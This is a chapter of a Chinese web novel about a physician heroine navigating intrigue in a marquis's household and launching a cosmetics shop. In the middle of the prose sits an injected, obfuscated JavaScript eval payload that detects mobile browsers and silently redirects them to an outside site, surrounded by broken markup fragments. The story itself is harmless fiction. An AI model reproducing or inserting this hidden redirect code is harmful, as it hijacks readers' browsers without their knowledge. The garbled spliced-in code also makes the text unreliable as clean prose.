24. 第24章 疑点
作品:《神医她曾是侯府早逝白月光》 梳洗过后,躺在床榻之上准备歇息,宁明舒突然一睁眼,看着头顶的纱帐飘荡,倒是突然想起了一点疑点来。
作为镇宁侯府的实际掌控者之一,镇宁侯夫人怎么会不知道她精通水性这件在青云观几乎人尽皆知的事?
所以,这件事情难道真的只是因为宁溪的嫉妒,对她下的手?
这镇宁侯府瞧着不过普通,但是这里面却似乎涌动着看不清的暗流,处处透露着古怪。
而另一边,宁溪抽噎着,瓜子脸上,一双素来静默的眼睛,红通通的,双腿重重地跪在了祠堂冰冷的地面之上。
面对着对面,一排排的牌位。
眼里闪过一丝惊惧来。
耳边还回想着片刻前,宁海晟恼怒的声音:“溪儿,这是罚你太过肆意妄为,半夜之中在园中戏水,亏得你二姐姐会游泳,医术又不错,否则今日还不知道如何收场。”
只要想到,万一这姐妹相侵的丑闻,落在了外人耳中,可不是影响他侯府的清誉么。
再说了,他还需要宁明舒去玉夫人处多探听消息,想要知道,到底是否需要站队的消息,也是因此,他格外的恼怒。
宁海晟越想越是生气:“为了逃避责罚,你还诬陷是你二姐姐想要推你下水。”
宁溪沉默哭泣,不敢应声。
好像不久前那种大肆喧闹,那种狠辣,不曾存在过一样。
“老爷,我看溪儿只是贪玩罢了。”秦杳觑着宁海晟稍微平复了点,这才拦住宁海晟的继续斥责,一脸不忍道,“何必要太过苛责她这么个孩子,虽则有点不大妥当,但是回头教养嬷嬷来了,总也能多长点见识。”
宁海晟这才回过神来,有些事能做不能说。
他怒而留下一句,“你在这祠堂跪着,给我好好反省反省。”随后转身离开。
身后,看着孤零零跪在冰冷蒲团上的宁溪,秦杳脸上堆起“慈母”般的怜惜,柔声道:“好孩子,跪疼了吧?快起来。委屈你了。唉,你父亲也是……他那是心疼明舒刚从观里回来,难免偏爱几分,你也别太往心里去,多多体谅才是……”
宁溪垂着头,脸上却依旧维持着那副恭顺的模样,只长发遮住了眼底翻涌的恨意,唯有肩膀几不可察地轻微颤抖了一下,泄露了这情绪。
秦杳仿若未见这轻微的颤抖,笑了笑,转身离开了祠堂。
“阿杳,在这内宅之中,我不希望有人再继续无端生事,你啊,切莫如此心慈手软才是。”回廊之中,宁海晟的声音属实刺耳。
追了上来的秦杳,手一捏帕子,“老爷,我知道了。只是溪儿也不过是个孩子,我回头让她在屋子里多待几日吧。”
见给宁溪关禁闭,宁海晟点了点头,只是心情也属实糟糕,于是,他转身便去了新得的美人那边消遣一二。
秦杳顿了顿,眼里闪过一丝恼怒。
玉梅忍不住喊了一声,秦杳才收回了帕子,往自己的院子走去。
“去把大姑娘叫过来。”
涵梅院。
“我不是让你不要再做其他事情吗?”秦杳憋了一肚子火气无处发泄,忍不住对宁明月质问起来。
“我什么都没做。也就是宁明舒自己命大,可惜淹死的竟然是个丫头!”宁明月梗着脖子,第一次被母亲这么怒斥,眼眶都红了。
秦杳气不打一处来,“你还说你什么都没做?那个丫头都说了,是你让她跟着宁溪的。”
宁明月梗着脖子,突然间委屈和恐慌涌上心头,眼泪扑簌簌滚落,精心描画的妆都花了,“母亲!你知不知道,听说……听说大皇子殿下可能要娶她了!若此事成真,往后我岂不是要低宁明舒一头了?明明我才是嫡长女。凭什么皇后娘娘只喜欢宁明舒,而不喜欢我。”
说着,宁明月的声音都带上了绝望的哭腔。
秦杳心头一跳,看着宁明月哭红的双眼,叹了口气:“你这孩子,怎么可能,你表舅说了,大皇子对于皇后娘娘让他娶宁明舒很是不满。”
宁明月眼睛一亮,“镇南王表舅确定这个消息吗?”
“当然确定了,这个消息之前没有告诉你,也是不想你多事,谁料到你这么心急,你想想看你表舅多疼你,他答应了,大皇子妃只能是你。”
“真的?”
宁明月胡乱抹了下脸上的泪水,终于破涕为笑。
“你啊你,”秦杳到底是舍不得这个素来疼爱的女儿,“回头,娘会给明舒先定亲,定给西峪侯的小儿子。”
“西峪侯庶幼子?”宁明月顿时心头一舒,这可是个出了名的色中饿鬼,“可是,只怕父亲不会同意。何况……”
“怎么?你放心,这由不得你父亲不同意。”秦杳淡淡道。
却见宁明月一脸欲言又止的模样,秦杳看向宁明月,“怎么了?”
——
那头,家生子的聚集处。
躺在床上昏昏沉沉的宝环,应付走了哭哭啼啼的母亲和幼弟,眼里闪过深沉的绝望。
作为镇宁侯府的家生子,她从小就知道要好好找个主子伺候,才能够存身。
家里条件很差,只有一个早年守寡的母亲,和一个幼小的弟弟,于是,她不得不费尽心力才终于成了三姑娘宁溪的贴身大丫鬟。
至于嫡长女宁明月,嫡长子宁明轩和嫡次子宁明轩身边,自然是挤不过去的,不过,能够成为大丫鬟,她也心满意足了。
每个月足有一两银子的月例,也终于让家里的日子也好过了起来,却没料到,她今天差点就没了性命。
明明,三姑娘说了,只是要吓唬下二姑娘,只是想让二姑娘遭罪。
她自然没想明白后面怎么就变成她落水了,想到在水里的绝望和窒息,她不由打了个寒噤,怎么那么长时间没有人来救她。
最后救她的居然还是府里下人素来瞧不上的二姑娘。
突然她打了个寒噤。
她没人来救,那么是不是意味着如果是二姑娘落水,也没人来救。
一旦二姑娘出了事,又有谁会顶罪呢……
【来自宝环的感情值+1+1+1,剩余18积分】
睡梦之中的宁明舒勾了勾唇角,翻了个身继续深睡了过去。
而没过两日,当日那个大呼小叫的丫鬟,居然不小心“失足落井”,更让宝环战战兢兢,她第一次发现这个煊赫非常的镇宁侯府,仿佛有什么怪兽隐在深处。
经此一事,侯府的风向悄然发生了微妙的变化。
第二日清晨,宁明舒推开房门便察觉到不同。
院中的洒扫丫鬟手脚比平日更轻快,见礼问安时态度恭谨中透着真切的殷勤;送来的早膳温度更加适宜;梳头的丫鬟手法也更温柔仔细,一头简单的丫髻,每一根头发丝都看出了用心来。
果然,府里的家生子,盘根错节,消息灵敏,通过细枝末节的变化,就足够窥探侯府内部的走向,而昨晚的事情,发生在花园里,更是瞒不了人呢,不过一夜之间,便传遍了整座偌大的侯府内部。
最初,仆婢们对她客气,或许是因她“疑似”复宠。但经历了昨夜她不顾“贵女体面”、毫不犹豫跳下冰冷池塘救活一个卑微婢女的事迹后……侯府下人们的敬畏中,悄然滋生出了一种更深沉、更实际的信赖与亲近。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935121|176353||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
宁明舒此举,在侯府贵人眼中,也许有失身份,但对于命如草芥的奴仆们而言,这却是这不仅关乎一时的好恶,更关乎长远的生存保障!
更有仆从悄悄打听起了宁明舒的医术来。
只鳞片爪中,关于宁明舒的医术,侯府下人有听闻,但是哪里比得上实打实的事迹。
不知不觉间,宁明舒在侯府的地位,又被拔高了一层。
在宁海晟的示意下,也在仆下们更加贴心细致之中,张大牛驾驶着一辆崭新的、更宽敞气派的马车等在了侯府之外。
“二姑娘,您来了,老奴已经将车子全部用水洒扫了一遍,保管叫姑娘坐的舒舒服服的。”
张大牛殷勤地道。
当初,谁也看不上给二姑娘驾车,也就他被推了出来,谁想到,二姑娘居然是个医术高手,他张大牛手腕上的疼痛,也是二姑娘针灸两次,给治好了的。
现在谁不羡慕他运气。
呵,还有人想跟他换呢,想得美。
上了马车,宁明舒先去了胭脂阁。
“路掌柜的,你即刻去招人手,不拘工钱多少,三日内将人手配齐。”
路琼仙心头一紧:三天?时间属实紧迫。
不过,问题倒也不大,重赏之下必有勇夫,直接去挖有经验的熟手便是!
“是,东家,不过这人安排在哪里?”
“这是新作坊的地址,你去接手,里面有得用的人,就留下,不得用的就赶了走,”宁明舒递给路琼仙一张纸条。
原来已经有了作坊了,那招工的事宜难度大幅度下降了。
路琼仙心头松了口气,听着宁明舒的命令,到底是谁说的宁明舒是个怯懦胆小哭哭啼啼的闺阁千金,除了那张过份柔弱的面庞,过份袅娜的身段,眼前的东家,可比她见过的男子,更为果决。
宁明舒紧接着又道:“招人之际,宣传亦可同步开始造势。”
“这……现在就开始宣传?”路琼仙微感诧异,东西还没影子呢。
宁明舒眉梢微挑,递过去几张早已备好的纸张:“谁还嫌钱来得快不成?先把风放出去。”路琼仙下意识接过,定睛一看,竟是几张写着胭脂水粉配方的秘笺!那用料和工序写得极其详尽!
“姑……姑娘!这些方子……”看着这些随意一看就价值千金的方子,路琼仙呼吸都急促了几分,难以置信地抬头,“您……您这就把方子交给我了?就不怕……”
宁明舒唇角勾起一抹了然淡笑,反问道:“你……会吗?”何况,这些方子,她知道的成百上千,压根也不太在意。
如果不是为了还债,唉,她也不想折腾这些。
“当然不会,必不负东家信任。”路琼仙笑了下。
普通人哪里能跟侯府作对,更何况,她没料到,宁明舒居然这么信任她,价值千金的方子随意就递到了她的手上。
路琼仙当即打起十二分精神接手铺面和作坊事宜。
而让她更加震撼和惊喜的是,东家竟与赫赫有名的皇商——温洪祝交情匪浅!
制作各种胭脂水粉的名贵花露和油脂等材料,竟能够直接从温洪祝的商铺赊取,凭的还不是侯府的面子,而仅仅是东家的名头。
路琼仙干劲十足,迅速按照宁明舒的指示行动:先调配人手赶制出第一批样品,确保品质效果过硬,同时开始铺开前期宣传。
那些胭脂水粉,连她看着都深知是好东西,光是口脂就有十二色,属实连她这个经手人都心动不已。
更别提,宁明舒还允诺了可观的分成比例。
钱财滚滚似乎就在眼前